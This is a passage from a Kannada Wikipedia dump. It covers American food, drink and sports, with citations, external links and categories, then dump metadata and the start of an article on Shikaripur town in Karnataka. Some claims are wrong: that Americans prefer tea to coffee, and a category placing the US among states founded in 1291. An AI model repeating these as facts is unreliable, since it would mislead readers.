ಪಾನೀಯ|ಮೇಪಲ್ ರಸ]]ವನ್ನು ಬಳಸುತ್ತದೆ. ಸ್ವದೇಶೀ ಆಹಾರವು ಸ್ಥಳೀಯ ಅಮೆರಿಕನ್ನರು ಮತ್ತು ಇತ್ತೀಚಿನ ಯುರೋಪಿಯನ್ ನಿವಾಸಿಗಳಿಂದ ಬಳಸಲ್ಪಡುತ್ತಿದೆ. ಲೋಹದ ಚೌಕಟ್ಟಿನಲ್ಲಿ ಹಂದಿಯ ಮತ್ತು ದನದ ಬೇಯಿಸಿದ ಮಾಂಸದೊಂದಿಗೆ ಆಚರಿಸುವ [[ಬಾರ್‍ಬೆಕ್ಯೂ|ಮೋಜಿನ ಕೂಟ]], [[ಏಡಿಯ ಕೇಕ್|ಏಡಿಯ ಕೇಕ್‌]]ಗಳು, [[ಅಲೂಗೆಡ್ಡೆ ಚಿಪ್|ಬಟಾಟೆಯ ಚಿಪ್ಸ್]] ಮತ್ತು ಚಾಕೊಲೇಟ್‌ನ ಸಿಪ್ಪೆಯ ಅಡಿಗೆಯು ಅಮೆರಿಕನ್ನರ ವಿಶೇಷ ಶೈಲಿಯಾಗಿದೆ. [[ಸತ್ವಯುತ ಆಹಾರ]]ವು ಆಫ್ರಿಕನ್ ಜೀತದಾಳುಗಳಿಂದ ಅಭಿವೃದ್ಧಿಗೊಂಡಿತು. ಇದು ದಕ್ಷಿಣದ ಎಲ್ಲ ಕಡೆ ಹಾಗೂ ಆಫ್ರಿಕನ್ ಅಮೆರಿಕನ್ನರಲ್ಲಿ ಜನಪ್ರಿಯವಾಯಿತು. [[ಸಿಂಕ್ರೆಟಿಸಂ|ಸಿಂಕ್ರೆಟಿಕ್]] ಪಾಕಪದ್ಧತಿಯಾದ [[ಲ್ಯೂಯಿಸಿಯಾನ ಕ್ರೆಯೊಲ್ ಅಡುಗೆ ವಿಧಾನ|ಲುಯಿಸೀನಿಯಾ ಕ್ರಿಯೋಲ್]], [[ಕ್ಯಾಜುನ್ ಅಡುಗೆವಿಧಾನ|ಕಾಜುನ್]], [[ಟೆಕ್ಸ್-ಮೆಕ್ಸ್ ಆಡುಗೆ ವಿಧಾನ|ಟೆಕ್ಸ್-ಮ್ಯಾಕ್ಸ್‌]]ಗಳು ಸ್ಥಳೀಯವಾಗಿ ಮುಖ್ಯವಾದವು. ಗುಣಾತ್ಮಕವಾದ ತಿಂಡಿಗಳಾದ [[ಆ‍ಯ್ಪಲ್ ಪೈ|ಆಪಲ್ ಪೈ]], [[ಬೇಯಿಸಿದ ಕೋಳಿ|ಫ್ರೈಡ್ ಚಿಕನ್]], [[ಪಿಜಾ|ಪಿಝಾ]], [[ಹಾಮ್‍ಬರ್ಗರ್|ಹ್ಯಾಂಬರ್ಗರ್]] ಮತ್ತು [[ಹಾಟ್ ಡಾಗ್|ಹಾಟ್ ಡಾಗ್‌]]ಗಳು ವಿವಿಧ ವಲಸೆಗಾರರ ಪಾಕಸೂತ್ತ್ರ ವಿವರಣೆಗಳಾಗಿವೆ. [[ಫ್ರೆಂಚ್ ಫ್ರೈಸ್|ಪ್ರೆಂಚ್ ಫ್ರೈಸ್]], ಮೆಕ್ಸಿಕನ್ ತಿಂಡಿಗಳಾದಂತಹ [[ಬುರ್ರಿಟೋ]], [[ಟ್ಯಾಕೋ]] ಮತ್ತು [[ಪಾಸ್ತಾ|ಪಾಸ್ಟಾ]] ತಿಂಡಿಗಳು ಮುಕ್ತವಾಗಿ ಅಳವಡಿಸಿಕೊಂಡ ವಿಶಾಲ ಉಪಯೋಗದ ಇಟಾಲಿಯನ್ ಮೂಲದ ತಿಂಡಿಯಾಗಿದೆ. <ref name="IFT">{{cite web |url=http://www.ift.org/cms/?pid=1000496 |author=Klapthor, James N. |title=What, When, and Where Americans Eat in 2003 |publisher=Institute of Food Technologists |date=2003-08-23|accessdate=2007-06-19}}</ref> ಅಮೆರಿಕನ್ನರು ಸಾಮಾನ್ಯವಾಗಿ ಕಾಫಿಗಿಂತ ಟೀಯನ್ನು ಹೆಚ್ಚು ಬಯಸುತ್ತಾರೆ. ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಮಾರುಕಟ್ಟೆಯು ಕಿತ್ತಳೆರಸವನ್ನು ಮತ್ತು ಹಾಲಿನ ಪೇಯವನ್ನು ತಯಾರಿಸಲು ಹೊಣೆಹೊತ್ತಿದೆ.<ref>ಸ್ಮಿತ್, ಆಡ್ರೂ ಎಫ್. (2004''ದಿ ಆಕ್ಸ್‌ಫರ್ಡ್ ಎನ್ಸೈಕ್ಲೋಪೀಡಿಯಾ ಆಫ್ ಫುಡ್ ಅಂಡ್ ಡ್ರಿಂಕ್ ಇನ್ ಅಮೆರಿಕಾ'' . ನ್ಯೂಯಾರ್ಕ್: ಆಕ್ಸ್‌ಪರ್ಡ್ ಯುನಿವರ್ಸಿಟಿ ಪ್ರೆಸ್, pp. 131–32. ISBN 0-19-515437-1. ಲೆವೆನ್‌ಸ್ಟನ್, ಹಾರ್ವೇ (2003). ''ರಿವಾಲ್ಯುಶನ್ ಅಟ್ ದಿ ಟೇಬಲ್: ದಿ ಟ್ರಾನ್ಸ್‌ಫಾರ್ಮೇಶನ್ ಆಫ್ ದಿ ಅಮೆರಿಕನ್ ಡಯೆಟ್'' ಬರ್ಕ್‌ಲೇ, ಲಾಸ್ ಏಂಜಲೀಸ್, ಅಂಡ್ ಲಂಡನ್: ಯುನಿವರ್ಸಿಟಿ ಆಫ್ ಕ್ಯಾಲಿಫೋರ್ನಿಯಾ ಪ್ರೆಸ್, pp. 154–55.ISBN 0-520-23439-1.</ref> 1980 ಮತ್ತು 1990ರ ಮಧ್ಯೆ ಅಮೆರಿಕನ್ನರ ಕ್ಯಾಲೊರಿ ಸೇವನೆಯು 24% ರಷ್ಟು ಏರಿದೆ.<ref name="IFT"/> ಪದೇ ಪದೇ [[ಫಾಸ್ಟ್ ಫುಡ್]] ಮುಂಗಟ್ಟುಗಳಲ್ಲಿ ತಿನ್ನುವುದು ಅಮೆರಿಕನ್ನರ "ಬೊಜ್ಜು ಹರಡುವಿಕೆ"ಗೆ ಕಾರಣವಾಗಿದೆ ಎಂದು ಆರೋಗ್ಯ ಅಧಿಕಾರಿಗಳು ಅಭಿಪ್ರಾಯಪಡುತ್ತಾರೆ. ಅತೀ ಸಿಹಿಯಾದ [[ಮೃದು ಪಾನೀಯ|ಮೃದು ಪೇಯ]]ಗಳು ತುಂಬಾ ಜನಪ್ರಿಯವಾಗಿದೆ. ಸಿಹಿಯಾದ ಪಾನೀಯವು ಅಮೆರಿಕನ್ನರ 9%ರಷ್ಟು ಸರಾಸರಿ ಕ್ಯಾಲರಿ ಸ್ವೀಕೃತಿಯನ್ನು ಗಣಿಸುತ್ತದೆ.<ref>{{cite web |title=Fast Food, Central Nervous System Insulin Resistance, and Obesity |publisher=American Heart Association |year=2005 |work=[[Arteriosclerosis, Thrombosis, and Vascular Biology]] |url=http://atvb.ahajournals.org/cgi/content/full/25/12/2451#R3-101329 |accessdate=2007-06-09}} {{cite web |title=Let's Eat Out: Americans Weigh Taste, Convenience, and Nutrition |publisher=U.S. Dept. of Agriculture |url=http://www.ers.usda.gov/publications/eib19/eib19_reportsummary.pdf|accessdate=2007-06-09}}</ref> === ಕ್ರೀಡೆ === {{Main|Sports in the United States}} [[ಚಿತ್ರ:Shea Smith-edit1.jpg|thumb| ಒಂದು ಕಾಲೇಜು ಫುಟ್‌ಬಾಲ್‌ನ ಕ್ವಾರ್ಟರ್‌ಬ್ಯಾಕ್ ಮುನ್ನುಗ್ಗಲು ನಿರೀಕ್ಷಿಸುವುದು.]] ಹತ್ತೊಂಬತ್ತನೇ ಶತಮಾನದವರೆಗೂ [[ಬೇಸ್‌ಬಾಲ್|ಬೇಸ್‌ಬಾಲ್‌]]ನ್ನು [[ರಾಷ್ಟ್ರೀಯ ಕ್ರೀಡೆ]]ಯಾಗಿ ಮಾನ್ಯ ಮಾಡಲಾಗಿತ್ತು. [[ಅಮೆರಿಕನ್‌ ಫುಟ್‌ಬಾಲ್‌|ಅಮೆರಿಕದ ಫುಟ್‌ಬಾಲ್]], [[ಬ್ಯಾಸ್ಕೆಟ್ ಬಾಲ್|ಬಾಸ್ಕೆಟ್‌ಬಾಲ್]] ಮತ್ತು [[ಐಸ್ ಹಾಕಿ]]ಯು ದೇಶದ ಇತರ ಮೂರು ಮುಖ್ಯ ಕುಶಲವಾದ ಆಟವಾಗಿದೆ. [[ಕಾಲೇಜ್ ಫುಟ್‌ಬಾಲ್|ಕಾಲೇಜು ಫುಟ್‌ಬಾಲ್]] ಮತ್ತು [[ಕಾಲೇಜ್ ಬ್ಯಾಸ್ಕೆಟ್‌ಬಾಲ್|ಬಾಸ್ಕೆಟ್‌ಬಾಲ್‌ಗಳು]] ಅಸಂಖ್ಯ ಪ್ರೇಕ್ಷಕರನ್ನು ಸೆಳೆಯುವಂಥದು. ಕೆಲವು ಮಾನದಂಡಗಳಿಂದ ಫುಟ್‌ಬಾಲ್ ಈಗ ಜನಪ್ರಿಯ [[ವೀಕ್ಷಕ ಕ್ರೀಡೆ]]ಯಾಗಿದೆ.<ref>{{cite web |author=Krane, David K. |title=Professional Football Widens Its Lead Over Baseball as Nation's Favorite Sport |url=http://www.harrisinteractive.com/harris_poll/index.asp?PID=337 |publisher=Harris Interactive |date=2002-10-30|accessdate=2007-09-14}} ಮೆಕ್‌ಕೇಂಬ್ರಿಜ್ಡ್, ಮೈಕೆಲ್ (2004). ''ಅಮೆರಿಕಾಸ್ ಗೇಮ್: ದಿ ಎಪಿಕ್ ಸ್ಟೋರಿ ಆಫ್ ಹೌ ಪ್ರೋ ಫೂಟ್‌ಬಾಲ್ ಕ್ಯಾಪ್ಚರ್‌ಡ್ ಎ ನೇಶನ್'' .ನ್ಯೂಯಾರ್ಕ್: ರೇಂಡಮ್ ಹೌಸ್. ISBN 0-375-50454-0.</ref> [[ಬಾಕ್ಸಿಂಗ್]] ಮತ್ತು [[ಕುದುರೆ ಓಟದ ಸ್ಪರ್ಧೆ|ಕುದುರೆ ಜೂಜು]] ಒಂದು ಸಮಯದಲ್ಲಿ ಅತೀಹೆಚ್ಚು ವೀಕ್ಷಣೆಗೆ ಒಳಗಾದ ವೈಯಕ್ತಿಕ ಕ್ರೀಡೆಯಾಗಿತ್ತು. ಆದರೆ ಅದೀಗ [[ಗಾಲ್ಫ್‌|ಗಾಲ್ಫ್]], [[ಆಟೋ ರೇಸಿಂಗ್]] ಮತ್ತು ವಿಶೇಷವಾಗಿ [[ಎನ್‌ಎ‌ಎಸ್‌ಸಿಎಆರ್|NASCAR]]ನ ಕಡೆಗೆ ತಿರುಗಿದೆ. [[ಸಂಘಟಿತ ಫುಟ್‌ಬಾಲ್|ಸಾಕರ್]] ಕ್ರೀಡೆಯನ್ನು ಯುವಜನರು ಮತ್ತು ಉತ್ಸಾಹೀ ಜನರು ಅತೀ ಹೆಚ್ಚು ಆಡುವ ಆಟವಾಗಿದೆ. [[ಟೆನಿಸ್|ಟೆನ್ನಿಸ್]] ಮತ್ತು ಹಲವು ಹೊರಾಂಗಣ ಆಟಗಳೂ ಜನಪ್ರಿಯವಾಗಿದೆ. ಇದೇವೇಳೆ ಹೆಚ್ಚಿನ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಆಟಗಳು ಯುರೋಪಿಯನ್ನರ ಅಭ್ಯಾಸದಿಂದ ವಿಕಸಿಸಿದ. ಬಾಸ್ಕೆಟ್‌ಬಾಲ್, [[ವಾಲಿಬಾಲ್]], [[ಸ್ಕೇಟ್‌ಬೋರ್ಡಿಂಗ್]], [[ಸ್ನೊಬೋರ್ಡಿಂಗ್|ಸ್ನೋಬೋರ್ಡಿಂಗ್]] ಮತ್ತು [[ಚಿಯರ್‌ಲೀಡಿಂಗ್|ಚೀರ್‌ಲೀಡಿಂಗ್‌]] ಆಟಗಳು ಅಮೆರಿಕದ ಅನ್ವೇಷಣೆಯಾಗಿದೆ. ಸ್ಥಳೀಯ ಅಮೆರಿಕನ್ನರ ಮತ್ತು ಸ್ಥಳೀಯ ಹವಾಯಿಯನ್ನರ ಪಶ್ಚಿಮದ ಸಂಪರ್ಕ ಪ್ರಭಾವಿತ ಚಟುವಟಿಕೆಗಳಿಂದ [[ಲಕ್ರೊಸ್ಸ್|ಲ್ಯಾಕ್ರೋಸ್]] ಮತ್ತು [[ತೆರೆನೊರೆಯಾಟ|ಸರ್ಫಿಂಗ್‌]]ಗಳು ಹೆಚ್ಚಾಗಿವೆ. ಎಂಟು [[ಒಲಿಂಪಿಕ್ ಕ್ರೀಡೆಗಳು|ಓಲಂಪಿಕ್ ಆಟಗಳು]] [[ಒಲಿಂಪಿಕ್‍ಗಳಲ್ಲಿ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ|ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದಲ್ಲಿ ನೆಲೆಗೊಂಡಿವೆ]]. ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನವು [[ಬೇಸಿಗೆ ಒಲಿಪಿಂಕ್ ಕ್ರೀಡೆಗಳು|ಬೇಸಿಗೆಕಾಲದ ಓಲಂಪಿಕ್ ಆಟ]]ಗಳಲ್ಲಿ ಉಳಿದೆಲ್ಲ ದೇಶಗಳಿಗಿಂತ ಹೆಚ್ಚು, 2,301 ಪದಕಗಳನ್ನು ಗೆದ್ದಿವೆ.<ref>{{cite web|title=All-Time Medal Standings, 1896–2004 | publisher = Information Please|url=http://www.infoplease.com/ipsa/A0115108.html | accessdate=2007-06-14}} {{cite web|title=Distribution of Medals—2008 Summer Games| publisher = Fact Monster|url=http://www.factmonster.com/sports/olympics/2008/distribution-medals-summer-games.html| accessdate=2008-09-02}}</ref> ಮತ್ತು ಎರಡನೇ ಅಧಿಕವಾದ 216 ಪದಕಗಳನ್ನು [[ಚಳಿಗಾಲದ ಒಲಂಪಿಕ್ ಕ್ರೀಡೆಗಳು|ಛಳಿಗಾಲದ ಓಲಂಪಿಕ್ ಆಟ]]ಗಳಲ್ಲಿ ಗೆದ್ದಿದೆ. <ref> {{cite web|title=All-Time Medal Standings, 1924–2006|publisher=Information Please|url=http://www.infoplease.com/ipsa/A0115207.html|accessdate=2007-06-14}}ನಾರ್ವೆ ಈಸ್ ಫಸ್ಟ್; ದಿ ಸೋವಿಯತ್ ಯೂನಿಯನ್ ಈಸ್ ಥರ್ಡ್, ಅಂಡ್ ವುಡ್ ಬಿ ಸೆಕೆಂಡ್ ಇಫ್ ಇಟ್ಸ್ ಮೆಡಲ್ ಕೌಂಟ್ ವಾಸ್ ಕಂಬೈನ್‌ಡ್ ವಿತ್ ರಷ್ಯಾಸ್. </ref>{{clear}} == ವಿವರಗಳಿಗಾಗಿ ನೋಡಿ == * [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನನ ಬಾಹ್ಯರೇಖೆ|ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಹೊರರೇಖೆಯಲ್ಲಿ]] * [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಸೂಚಕ - ಸಂಬಂಧಿತ ಅದಿನಿಯಮಗಳು|ಸಂಬಂಧಿತ ಅಂಕಣಗಳಿಂದ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಸೂಚ್ಯಾಂಕ]] *[[ಅಮೇರಿಕ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಸರ್ಕಾರ]] *[[ಅಮೆರಿಕದ ಅಧ್ಯಕ್ಷೀಯ ಚುನಾವಣೆ 2016]] == ಆಕರಗಳು == {{reflist|colwidth=30em}} == ಹೊರಗಿನ ಕೊಂಡಿಗಳು == {{sisterlinks|United States}} ;ಸರ್ಕಾರ * ಸರ್ಕಾರದ ಜಾಲತಾಣಗಳಿಗೆ [http://www.usa.gov/ ಸಂಯುಕ್ತ ಸರ್ಕಾರದ ಅಧಿಕೃತ ವೆಬ್ ಪೋರ್ಟಲ್] * ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಮನೆಯ ಪ್ರತಿನಿಧಿಗಳ [http://www.house.gov/ ಹೌಸ್‌]ನ ಅಧಿಕೃತ ಜಾಲತಾಣ. * ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ [http://www.senate.gov/ ಸಂಪುಟ]ದ ಅಧಿಕೃತ ಜಾಲತಾಣ. * ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಅಧ್ಯಕ್ಷರ [http://www.whitehouse.gov/ ವೈಟ್ ಹೌಸ್‌]ನ ಅಧಿಕೃತ ಜಾಲತಾಣ. * ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ [http://www.supremecourtus.gov/ ಸರ್ವೋಚ್ಚನ್ಯಾಯಾಲಯ]ದ ಅಧಿಕೃತ ಜಾಲತಾಣ ;ಮೇಲ್ನೋಟ ಮತ್ತು ದತ್ತಾಂಶ * {{CIA World Factbook link|us|United States}} * [http://usinfo.state.gov/infousa/index.html ಇನ್ಫೋ ಯುಎಸ್‌ಏ] ಪೋರ್ಟಲ್ ಟು ಯು.ಎಸ್ ಇನ್‌ಫೋರ್ಮೇಶನ್ ಏಜನ್ಸಿಯ ಮೂಲಗಳು * [http://www.loc.gov/index.html ಲೈಬ್ರರಿ ಆಫ್ ಕಾಂಗ್ರೆಸ್] ಆಫಿಷಿಯಲ್ ಸೈಟ್ ಆಪ್ ದಿ ಯು.ಎಸ್ [[ಕಾಂಗ್ರೆಸ್‌ನ ಗ್ರಂಥಕೋಶ|ಲೈಬ್ರರಿ ಆಫ್ ಕಾಂಗ್ರೆಸ್]] * [http://www.prb.org/Datafinder/Geography/Summary.aspx?region=72&region_type=2 ಡೆಮೊಗ್ರಫಿಕ್ ಹೈಲೈಟ್ಸ್] ಸ್ಟಾಟಿಸ್ಟಿಕ್ಸ್ ಫ್ರಂ ದಿ ಪಾಪ್ಯುಲೇಶನ್ ರೆಫರೆನ್ಸ್ ಬ್ಯೂರೋ * [http://www.teacheroz.com/states.htm ಯು.ಎಸ್‌.ಎಯ 50 ರಾಜ್ಯಗಳು] ಪ್ರತಿ ರಾಜ್ಯಕ್ಕೆ ಸಂಬಂಧಿಸಿದ ಮಾಹಿತಿಯ ಕೊಂಡಿಗಳನ್ನು ಕಲೆಹಾಕಿದ್ದಾರೆ. * [[ವಿಕಿಟ್ರಾವೆಲ್|ವಿಕಿಟ್ರಾವೆಲ್‌]]ನ [[:ವಿಕಿಟ್ರಾವೆಲ್ : ಅಮೆರಿಕ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ|ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಪ್ರವಾಸಿ ಕೈಪಿಡಿ]] * [http://www.britannica.com/EBchecked/topic/616563/United-States ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ]ದ ''ಎನ್‌ಸೈಕ್ಲೋಪಿಡಿಯಾ ಬ್ರಿಟಾನಿಕಾ'' ದ ಪ್ರವೇಶ * {{dmoz|Regional/North_America/United_States}} * [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಜನಗಣತಿ ಬ್ಯೂರೋ|ಯು.ಎಸ್‌. ಸೆನ್ಸ್‌ಸ್‌ ಬ್ಯೂರೊ]]ನಿಂದ ಪಡೆದ [http://www.census.gov/hhes/www/ ಯು.ಎಸ್‌ ಸೆನ್ಸಸ್‌ ಹೌಸಿಂಗ್‌ ಅಂಡ್ ಎಕಾನಾಮಿಕ್‌ ಸ್ಟಾಟಿಸ್ಟಿಕ್ಸ್‌]ನಲ್ಲಿರುವ ವಿಸ್ತ್ರತ ಅಂಕಿ ಅಂಶಗಳು. * ಅಧಿಕೃತ ಸರ್ಕಾರಿ ತಾಣ, [http://www.uscis.gov/portal/site/uscis ಯು.ಎಸ್‌ ಸಿಟಿಜನ್‌ಶಿಪ್‌ ಮತ್ತು ಇಮಿಗ್ರೇಷನ್‌ ಸರ್ವಿಸಸ್‌ ] * ಯು.ಎಸ್‌ [[ಅರ್ಥಶಾಸ್ತ್ರ ಸಂಶೋಧನಾ ಸೇವೆ|ಎಕಾನಮಿಕ್‌‍ ರಿಸರ್ಚ್‌ ಸರ್ವಿಸ್‌]]ನಿಂದ ಪಡೆದ ಜನಸಂಖ್ಯೆ, ಉದ್ಯೋಗ, ಸ್ಟೇಟ್‌ ಪ್ಯಾಕ್ಟ್‌ ಶೀಟ್ಸ್‌, ವರಮಾನ ಮತ್ತು ಜಮೀನು ಕುರಿತಂತೆ ಇರುವ ಅಂಕಿ ಅಂಶಗಳ [http://www.ers.usda.gov/statefacts/ ಸ್ಟೇಟ್‌ ಪ್ಯಾಕ್ಟ್‌ ಶೀಟ್]‌. * [http://tonto.eia.doe.gov/state/ ಯು.ಎಸ್‌ ಎನರ್ಜಿ ಇನ್‌ಫಾರ್ಮೇಶನ್‌ ಅಡ್ಮಿನಿಸ್ಟ್ರೇಶನ್‌]ನಿಂದ ಪಡೆದ ಆರ್ಥಿಕತೆ, ಪರಿಸರ ಮತ್ತು ಶಕ್ತಿಯ ಕುರಿತಾದ [http://tonto.eia.doe.gov/state/ ಸ್ಟೇಟ್‌ ಎನರ್ಜಿ ಪ್ರೊಫೈಲ್ಸ್‌]. ;ಇತಿಹಾಸ * [http://www.nationalcenter.org/HistoricalDocuments.html ದಿ ನ್ಯಾಷನಲ್‌ ಸೆಂಟರ್‌ ಫಾರ್‌ ಪಬ್ಲಿಕ್‌] ಪಾಲಿಸಿ ರಿಸರ್ಚ್‌ನಿಂದ ಸಂಗ್ರಹಿಸಲ್ಪಟ್ಟ ಐತಿಹಾಸಿಕ ಕಡತಗಳು * [http://www.religioustolerance.org/nat_mott.htm ಯು.ಎಸ್‌.ರಾಷ್ಟ್ರೀಯ ಧ್ಯೆಯೋದ್ದೇಶಗಳು:ಧಾರ್ಮಿಕ ಸಹಿಷ್ಣುತೆಯ ಕುರಿತಂತೆ ಒಂಟಾರಿಯೋ ಕನ್ಸಲ್ಟಂಟ್ಸ್‌ನ ಇತಿಹಾಸ ಮತ್ತು ಸಾಂವಿಧಾನಿಕತೆ]ಯ ವಿಶ್ಲೇಷಣೆ. * ಐತಿಹಾಸಿಕ ಅಂಕಿಅಂಶಗಳ ಕುರಿತಾದಂತೆ [http://www.historicalstatistics.org/index2.html ಯುಎಸ್‌ಎ] ಕಲೆಹಾಕಿದ ಮಾಹಿತಿ ;ನಕ್ಷೆಗಳು * [http://nationalatlas.gov/ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ರಾಷ್ಟ್ರೀಯ ನಕ್ಷೆಗಳು]; ಯು.ಎಸ್‌. ಡಿಪಾರ್ಟ್‌ಮೆಂಟ್‌ ಆಪ್‌ ದಿ ಇಂಟಿರಿಯರ್‌ನ ಅಧಿಕೃತ ನಕ್ಷೆಗಳು. * [[ವಿಕಿಮ್ಯಾಪಿಯಾ]]ದಿಂದ ಸಂಗ್ರಹಿಸಲ್ಪಟ್ಟ (ವಿಕಿಪಿಡಿಯಾದ [[ವಿಕಿಪಿಡೀಯ ಪ್ರತಿಷ್ಠಾಪನೆ|ವಿಕಿಮಿಡಿಯಾ ಫೌಂಡೇಷನ್‌]]ನ ಜೊತೆ ಅಂಗಿಕೃತವಲ್ಲದ) [http://www.wikimapia.org/#y=41771312&x=-99492187&z=4&l=0&m=a ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ]ದ ಉಪಗ್ರಹ ನೋಟ. * {{wikiatlas|the United States}} {{-}} {{Navboxes |title=Articles Related to the United States of America |list1= {{United States Template Group}} {{Anglophone states}} {{English official language clickable map}} {{United States topics}} {{National personifications}} }} [[ವರ್ಗ:ಅಮೇರಿಕ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ]] [[ವರ್ಗ:ಉತ್ತರ ಅಮೇರಿಕ ಖಂಡದ ದೇಶಗಳು]] [[ವರ್ಗ:ಅಟ್ಲಾಂಟಿಕ್ ಸಮುದ್ರದ ದೇಶದ ಗಡಿಭಾಗಗಳು]] [[ವರ್ಗ:ಪೆಸಿಫಿಕ್ ಸಮುದ್ರದಲ್ಲಿನ ದೇಶದ ಗಡಿಭಾಗಗಳು]] [[ವರ್ಗ:ಆರ್ಕ್ಟಿಕ್ ಸಮುದ್ರದಲ್ಲಿನ ದೇಶದ ಗಡಿಭಾಗಗಳು]] [[ವರ್ಗ:ಇಂಗ್ಲೀಷ್‌ ಮಾತನಾಡುವ ದೇಶಗಳು ಮತ್ತು ಪ್ರದೇಶಗಳು]] [[ವರ್ಗ:ಒಕ್ಕೂಟ ರಾಷ್ಟ್ರಗಳು]] [[ವರ್ಗ:ಹಿಂದಿನ ಬ್ರಿಟಿಷ್ ವಸಾಹತುಗಳು]] [[ವರ್ಗ:ಜಿ8 ರಾಷ್ಟ್ರಗಳು]] [[ವರ್ಗ:ಜಿ20 ರಾಷ್ಟ್ರಗಳು]] [[ವರ್ಗ:ಉದಾರ ಪ್ರಜಾಪ್ರಭುತ್ವಗಳು]] [[ವರ್ಗ:1291ರಲ್ಲಿ ಸ್ಥಾಪಿಸಲಾದ ರಾಜ್ಯಗಳು ಮತ್ತು ಪ್ರಾಂತ್ಯಗಳು]] [[ವರ್ಗ:ಫೆಡರಲ್ ಗಣರಾಜ್ಯಗಳು]] [[ವರ್ಗ:ಫೆಡರಲ್ ಸಾಂವಿಧಾನಿಕ ಗಣರಾಜ್ಯಗಳು]] [[ವರ್ಗ:ಸಾಂವಿಧಾನಿಕ ಗಣರಾಜ್ಯಗಳು]] [[ವರ್ಗ:ಗಣರಾಜ್ಯಗಳು]] qmb8lhljmtb8ggcwsjji12bt45ijfvd ಶಿಕಾರಿಪುರ 0 7503 1116557 1100078 2022-08-24T03:21:10Z 2409:4071:2304:AFB8:7BD:55BE:DC3B:929B wikitext text/x-wiki {{Infobox Indian Jurisdiction |type = town | name = Shikaripur | native_name = ಶಿಕಾರಿಪುರ | native_name_lang = | other_name = | nickname = | settlement_type = [[ಪಟ್ಟಣ]] | image_skyline = | image_alt = | image_caption = | pushpin_map = India Karnataka | pushpin_label_position = right | pushpin_map_alt = | pushpin_map_caption = Location in Karnataka, India | latd = 14.27 | latm = | lats = | latNS = N | longd = 75.35 | longm = | longs = | longEW = E | coordinates_display = inline,title | subdivision_type = ದೇಶ | subdivision_name = {{flag|India}} | subdivision_type1 = ರಾಜ್ಯ | subdivision_name1 = [[ಕರ್ನಾಟಕ]] | subdivision_type2 = ಜಿಲ್ಲೆ | subdivision_name2 = [[Shimoga district|ಶಿವಮೊಗ್ಗ]] | subdivision_type4 = [[Subdivision]] | subdivision_name4 = [[ಸಾಗರ]] | established_title = <!-- Established --> | established_date = | founder = | named_for = | government_type = | governing_body = | unit_pref = Metric | area_footnotes = | area_rank = | area_total_km2 = | elevation_footnotes = | elevation_m = 603 | population_total = 31508 | population_as_of = 2001 | population_rank = | population_density_km2 = auto | population_demonym = | population_footnotes = | demographics_type1 = ಭಾಷೆಗಳು | demographics1_title1 = ಅಧಿಕೃತ | demographics1_info1 = [[ಕನ್ನಡ]] | timezone1 = IST | utc_offset1 = +5:30 | postal_code_type = <!-- [[Postal Index Number|PIN]] --> | postal_code = | registration_plate = | website = | footnotes = }} [[ಶಿಕಾರಿಪುರ]]ವು [[ಶಿವಮೊಗ್ಗ]] ಜಿಲ್ಲೆಯಲ್ಲಿರುವ ಒಂದು ತಾಲ್ಲೂಕು ಕೇಂದ್ರ ಮತ್ತು ತಾಲ್ಲೂಕಿನ ಆಡಳಿತ ಕೇಂದ್ರ. ಇದು [[ಕರ್ನಾಟಕ]]ದ ಮಲೆನಾಡು ಭಾಗದಲ್ಲಿ ಇರುವ ಊರು. ==ಇತಿಹಾಸ== ಶಿವಮೊಗ್ಗದ ವಾಯುವ್ಯಕ್ಕೆ 52 ಕಿಮೀ ದೂರದಲ್ಲಿ ಕುಮದ್ವತಿ ನದಿಯ ಬಲದಂಡೆಯ ಮೇಲಿದೆ. ಈ ಊರಿನ ಸಮೀಪ [[ಕುಮದ್ವತಿ]] ನದಿ ಹರಿಯುತ್ತದೆ,ಸ್ಥಳೀಯರು ಈ ನದಿಯನ್ನು ಗೌರಿಹಳ್ಳ ಎಂದೂ ಕರೆಯುವರು. ಈ ತಾಲ್ಲೂಕನ್ನು ಪೂರ್ವ ಮತ್ತು ಆಗ್ನೇಯಕ್ಕೆ ದಾವಣಗೆರೆ ಜಿಲ್ಲೆಯ ಹೊನ್ನಾಳಿ ತಾಲ್ಲೂಕು, ಉತ್ತರ ಈಶಾನ್ಯಕ್ಕೆ ಹಾವೇರಿ ಜಿಲ್ಲೆಯ ಹಿರೇಕೆರೂರು ತಾಲ್ಲೂಕು, ಪಶ್ಚಿಮ ಮತ್ತು ವಾಯವ್ಯಕ್ಕೆ ಸೊರಬ ತಾಲ್ಲೂಕು, ನೈಋತ್ಯ ಮತ್ತು ಪಶ್ಚಿಮಕ್ಕೆ ಸಾಗರ ತಾಲ್ಲೂಕು, ದಕ್ಷಿಣಕ್ಕೆ ಶಿವಮೊಗ್ಗ ತಾಲ್ಲೂಕು ಸುತ್ತುವರಿದಿವೆ. ಅಂಜನಪುರ, ಶಿಕಾರಿಪುರ, ಹೊಸೂರು, ಉಡುತಡಿ ಮತ್ತು ತಾಳಗುಂದ ಹೋಬಳಿಗಳಿದ್ದು 2 ಪಟ್ಟಣಗಳೂ 175 ಗ್ರಾಮಗಳೂ ಇವೆ. ಸಾಗರ ಉಪವಿಭಾಗಕ್ಕೆ ಸೇರಿದ ಈ ತಾಲ್ಲೂಕಿನ ವಿಸ್ತೀರ್ಣ 896.4 ಚ. ಕಿಮೀ. ಜನಸಂಖ್ಯೆ 2,13,511. ಈ 